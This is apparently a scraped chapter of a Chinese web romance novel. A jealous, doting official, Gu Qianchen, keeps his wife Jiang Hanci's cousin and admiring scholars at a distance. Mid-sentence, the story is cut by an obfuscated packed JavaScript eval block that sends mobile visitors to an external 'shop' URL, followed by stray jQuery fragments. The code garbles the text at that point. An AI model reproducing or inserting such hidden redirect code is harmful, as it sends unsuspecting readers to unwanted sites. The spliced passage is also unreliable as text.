暮春三月，顾府后园的杏花开得正盛。
江含辞自嫁入顾府，日子过得舒心不已。顾浅尘待她极好，好到让她时常生出几分恍惚，从前那个冷面寡言、拒人千里的顾大人，私底下竟是这样一副缠人的性子。早起替她画眉，夜里替她暖手，连她去书院讲学，他都要派马车接送，恨不得亲自陪着去。
只是有一桩事，她渐渐品出了滋味。
顾浅尘这个人，醋劲大得很。
她起初并未察觉。毕竟顾大人吃醋从不显山露水，面上云淡风轻，底下却暗潮涌动，等你回过神来，事情已经被他不动声色地料理干净了。
今日便是一桩。
江含辞正在书房整理书院的课业，丫鬟霜月匆匆进来，语气有些古怪：“夫人，五公子来了，正在前厅候着。”
“五哥？”江含辞放下笔，眼底浮起几分欣喜。
五哥陈兰轩是她在苏州外祖家的表兄，早前考取功名，授了秘书省校书郎，自此在汴京安顿下来。当初外祖母与舅父本不舍得他远行，只是念着他前程要紧，又想着含辞夫妇也在京中，彼此有个照应，这才放了手。
含辞与五哥情谊深厚，如今同在京城，走动起来也便宜，自然欢喜得很。
“快请进来。”她起身整了整衣襟，又想起什么，“去备些五哥爱吃的藕粉桂花糕，再沏一壶龙井。”
霜月应声去了。
含辞往前厅走了几步，忽觉身后多了一道目光。回头，便见顾浅尘不知何时站在了廊下，一身玄色常服，面色淡淡，看不出什么情绪。
“夫君？”她微微一愣，“你不是去衙署了么？”
“今日事少，早些回来。”顾浅尘缓步走到她身侧，目光从前厅方向掠过，语气平平，“五哥来了？”
“嗯，五哥得空过来看我。”含辞笑着道，“夫君可要一同去见见？”
“自然。”顾浅尘牵过她的手，修长的五指不紧不慢地收拢，将她的手整个裹在掌心里，“既是夫人的兄长，理当好生招待。”
含辞低头看了一眼被他握住的手，嘴角微弯。这人嘴上说得客气，手上的力道却分明带着几分宣示的意味。
到了前厅，五哥已等候多时。他比前一阵黑瘦了些，眉宇间却多了几分沉稳干练。见含辞进来，他眼底顿时亮了，站起身时嘴角已抑不住笑意。
“含辞妹妹。”
这一声唤得轻，却藏着许多压抑的记挂。他上下打量她一番，目光里满是欣慰：“气色愈发好了。”
含辞笑着应了，正要引他坐下，却见顾浅尘已从身后走上来，不动声色地站在她身侧，微微一欠身。
“五哥今日得空过来，有失远迎。”
五哥敛了敛笑意，抱拳回礼：“顾大人客气了。含辞妹妹瞧着比从前好了许多，想是顾大人照拂得好。”
“嫁了人，自然要养得好些。”顾浅尘语气淡然，拉着含辞在主位坐下，自己则坐在她身侧，姿态从容，仿佛这前厅里的一切都在他掌控之中。
含辞与五哥叙了几句家常，说起当年在苏州的旧事，不觉笑了起来。她笑时眉眼弯弯，颊边浮起浅浅的梨涡，比平日更添几分灵动。
顾浅尘坐在一旁，指腹轻轻摩挲着茶盏边缘，一言不发。
五哥又道：“含辞，你爱吃糖炒栗子。我托铺子里的伙计从苏州捎带了栗子，今早炒出来的，你趁热尝尝。”
“五哥有心了。”含辞接过油纸包，拆开一看，栗子炒得金黄，香气扑鼻。她拈起一颗，正要送入口中，手中的栗子忽然被人拿走了。
顾浅尘将那颗栗子放在自己面前的碟子里，转而从袖中取出一方帕子，慢条斯理地替她擦手指：“糖炒栗子粘手，当心弄脏了衣裳。”
含辞：“……”
五哥：“……”
顾浅尘替她擦完手，又将那油纸包往旁边推了推，语气温和得像在说一件无关紧要的事：“五哥的好意心领了。只是含辞近来脾胃弱，太医嘱咐少食甜腻之物。这些栗子，我叫人给府里的小丫头们分了，也不辜负五哥的心意。”
五哥张了张嘴，终究没说什么。他端起茶盏抿了一口，只觉得这顾府的茶，比别处都酸些。
送走五哥后，含辞回到书房，越想越觉得好笑。她搁下笔，歪头看着跟进来的顾浅尘：“五哥是我兄长，亲表哥。你连他的醋也吃？”
顾浅尘正倚在书架旁翻一本旧书，闻言抬眼，目光沉静：“没有。”
“还说没有。”含辞起身走到他面前，伸出食指戳了戳他的胸口，“糖炒栗子都不让我吃，还说什么‘脾胃弱’——我自己怎么不知道我脾胃弱？”
顾浅尘捉住她作乱的手指，意味深长道：“夫人，有些东西要少吃。”
含辞哭笑不得，正要反驳，霜月又匆匆进来，这回脸色比方才还古怪：“夫人……淑质书院的人来了，说有要事求见。”
含辞敛了笑意：“什么事？”
“来的是几位士子，说是……”霜月顿了顿，小心翼翼地瞥了顾浅尘一眼，“说是听闻夫人当年在苏州秋山书院时，曾以‘今辛’之名教授字画。近日书院新来了一位江南才子，对‘今辛先生’仰慕已久，特备了笔墨，想请夫人赐一幅墨宝。”
书房里安静了一瞬。
含辞下意识回头看向顾浅尘，只见他缓缓合上手中的书，唇边浮起一抹极淡的笑意。那笑容落在旁人眼里是温和，落在她眼里，却分明带着几分危险的意味。
“笔墨？”顾浅尘将书放回书架，声音不疾不徐，“我竟不知，夫人的墨宝如今这般抢手。”
含辞忙道：“不过是当年在苏州时，做织锦画师和女先生时用的化名。谁知那些士子……”
“今辛。”顾浅尘念出那两个字，语气平淡得像在念一道寻常公文，“含辞二字拆开，倒是雅致。”
他记得倒清楚。
“霜月。”顾浅尘唤了一声。
“奴婢在。”
“去告诉那几位士子，夫人近来身体不适，不便见客。”他顿了顿，又道，“至于那位江南才子的笔墨，备一套上好的文房四宝送过去，就说是我送的。若他真心仰慕‘今辛先生’，不妨多临几遍《兰亭序》，比四处求墨宝强。”
霜月应声退下。
含辞忍不住笑了：“你这是在替我做主？”
顾浅尘走近一步，修长的身影将她笼住。他垂眸看她，眼底有细碎的光，像深潭里映着的月色，清冷却又灼人。
“夫人，”他的声音低下来，带着几分只有她能听见的沙哑，“你的笔墨，只有我能看。”
含辞心跳漏了一拍。她抬眼看他，见他眉眼间那点隐隐的酸意还未散去，分明是吃醋，却偏要端着一副清冷自持的模样。这样的顾浅尘，比任何时候都让人心软。
“好好好，”她踮起脚尖，在他下颌轻轻印了一下，“只给你看，旁人都不给。”
顾浅尘眸色一深，揽住她腰肢的手收紧了几分。
日子便这样过着。含辞以为书院的事已翻篇，顾浅尘也没再提起。直至三日后，她去书院授课，才知那位顾大人哪里是翻篇了，分明是把事情做得更绝。
书院门口，士子往来不绝。含辞刚下马车，便见几个年轻士子聚在一处议论纷纷，隐约听见“今辛先生”几个字。
她脚步一顿。
“你们听说了吗？前几日有人去顾府求墨宝，被顾大人挡回来了。”一个青衫士子压低了声音，“非但没求到，顾大人还送了一套文房四宝来，说是‘替夫人’送的。”
“夫人？”另一人惊讶道，“‘今辛先生’是顾大人的夫人？”
“可不是！就是淑质书院的山长，顾枢密的夫人！当年在苏州时，她曾以‘今辛’之名做在秋山书院做女先生。顾大人派人传话，说夫人近来忙于书院事务，无暇作画，今后若再有人求墨宝，一概由他代笔。”
众人倒吸一口凉气。
“顾大人的字……那可是千金难求。”
“可不是！但顾大人的字送来了，谁敢挂？谁敢收？这不就是明摆着告诉所有人，‘今辛先生’的墨宝，只有他顾浅尘能得。”
含辞站在马车旁，听着这些话，脸颊烧得厉害。
她回到顾府时，顾浅尘正在书房批阅公文。听见脚步声，他头也不抬：“回来了？”
“顾浅尘。”她难得连名带姓地叫他。
他这才搁下笔，抬眼看向她。她面上带着几分羞恼，耳根却红透了，像春日里初绽的海棠。
“你给书院的人送字了？”
“嗯。”
“你说今后我若作画，一概由你代笔？”
“嗯。”
“你……”她气也不是，笑也不是，“你这是要让全汴京都知道，你顾浅尘在吃一群书生的醋？”
顾浅尘起身，绕过书案走到她面前。夕阳从窗棂间斜照进来，在他眉眼间镀了一层暖金色。他抬手，指腹轻轻蹭过她发烫的耳廓，声音低而缓，像暮色里漫上来的潮水。
“他们仰慕‘今辛先生’。”
他顿了顿，眼底的占有欲毫不遮掩，偏生语气仍是那副清冷从容的调子：“可我仰慕的是江含辞。”
“若他们只知‘今辛’之名，我便让所有人知道——‘今辛’是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17450249|201165||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我顾浅尘的妻。她的画，她的字，她的一颦一笑，都只属于我。”
含辞怔怔看着他。
这人吃起醋来，竟是这样大费周章。不是不准她画，不是不准她见人，而是堂堂正正地替她挡在前头，用自己的方式划出一条界线——这条线外，他敬你三分；这条线内，寸步不让。
她鼻尖忽然有些酸。
“傻子。”她伸手环住他的腰，将脸埋进他胸口，“全汴京都知道我是你的妻了。你何必……”
顾浅尘低头，下巴抵在她发顶，声音闷闷的：“不够。”
“什么不够？”
“还不够。”他收紧了手臂，“你是我的，这件事，我想让所有人都知道。今日知道，明日知道，后日也要知道。”
含辞在他怀里闷笑了一声。这人的占有欲，真是刻进骨子里的。偏偏她一点也不觉得讨厌，反倒心里甜得发软。
“顾浅尘。”她抬起头，眼睛亮晶晶的。
“嗯？”
“你酸不酸？”
他沉默了一瞬，随即低下头，吻住了她的唇。
窗外杏花纷落如雪，书房里只剩下细碎的气息和衣料摩挲的轻响。良久，他才放开她，额头抵着她的额头，嗓音低哑得不像话。
“酸。”
他终于认了。
“酸得要命。”
含辞弯起嘴角，踮脚又在他唇角落下一个吻。
“那便多酸一会儿。反正……”
她学着他的语气，一字一顿：“你是我的。这件事，我也想让你知道。”
顾浅尘眸色骤然暗了下去。
窗外春风拂过，满园杏花簌簌，像谁打翻了一坛陈年的酸梅酒，酸是酸了些，回味却是甜的。
桓儿午后醒了，云嬷嬷抱着他走过来。他一看见含辞便从云嬷嬷身上挣脱下来，抱住含辞的腿：“母亲！你方才去哪儿了？”
含辞蹲下身，捏了捏他的脸：“母亲去了趟书院，不是让人给你带点心了么？”
桓儿歪着脑袋想了想，又看看顾浅尘，忽然咧嘴笑了：“那舅舅有没有想母亲？”
顾浅尘负手站在廊下，闻言眉眼微微一动，淡淡道：“想。”
桓儿便咯咯笑起来，跑过去抱住顾浅尘的腿：“舅舅抱！”
顾浅尘弯腰将他抱起，桓儿便搂住他的脖子，小脸贴在他肩上。含辞站在一旁，看着这一幕，心中暖意融融。
又过了几日，五哥登门辞行。原来外祖母身子不适，他已向衙门告了假，要回苏州一趟。
含辞备了许多药材补品，托他带给外祖母。五哥一一收了，临行前，忽然看着含辞笑了笑。
“含辞妹妹，顾大人待你很好。”
含辞微微一怔。
五哥的目光越过她，落在不远处廊下那道玄色身影上。顾浅尘正负手而立，目光淡淡地望着这边，面上没什么表情，却也没有催促的意思。
“他若是待你不好，我便是拼了这条命，也要把你带回苏州。”五哥收回目光，轻声道，“可他待你很好。比我能给的，还要好。”
含辞鼻子一酸：“五哥……”
“好了。”五哥笑了笑，那笑容里带着释然，也带着一丝不易察觉的落寞，“五哥不是那等纠缠不清的人。你过得好，我便放心了。”
他翻身上马，扬鞭而去。
含辞站在门口，望着他的背影消失在巷口，久久没有回神。
一只手从身后伸过来，握住了她的手。
“走了？”
含辞回过身，对上顾浅尘沉静的眸子。她点了点头，忽然问：“你是不是故意的？”
“什么？”
“方才站在那儿，让五哥看见你。”
顾浅尘没有否认，只淡淡道：“他该知道，你有人护着。”
含辞忍不住笑了，伸手戳了戳他的胸口：“顾大人，你这醋，要吃到什么时候？”
顾浅尘握住她的手，放在唇边轻轻吻了一下。
“一辈子。”
暮色四合，顾府后园的杏花落了满地。含辞坐在廊下，手中捧着一盏茶，望着天边的晚霞出神。
顾浅尘从书房出来，在她身边坐下，自然地揽过她的肩。
“想什么？”
“想五哥说的话，也想……”她抬头，撞进他盛满温柔的眼眸，轻声道，“想告诉你，嫁给你，是我这辈子最欢喜的事。”
顾浅尘低头，在她发顶落下一个吻，声音低而坚定：“我也是。”
晚风拂过，满园杏花如雪纷飞。
岁月静好，而那份酸意，早已酿成了蜜。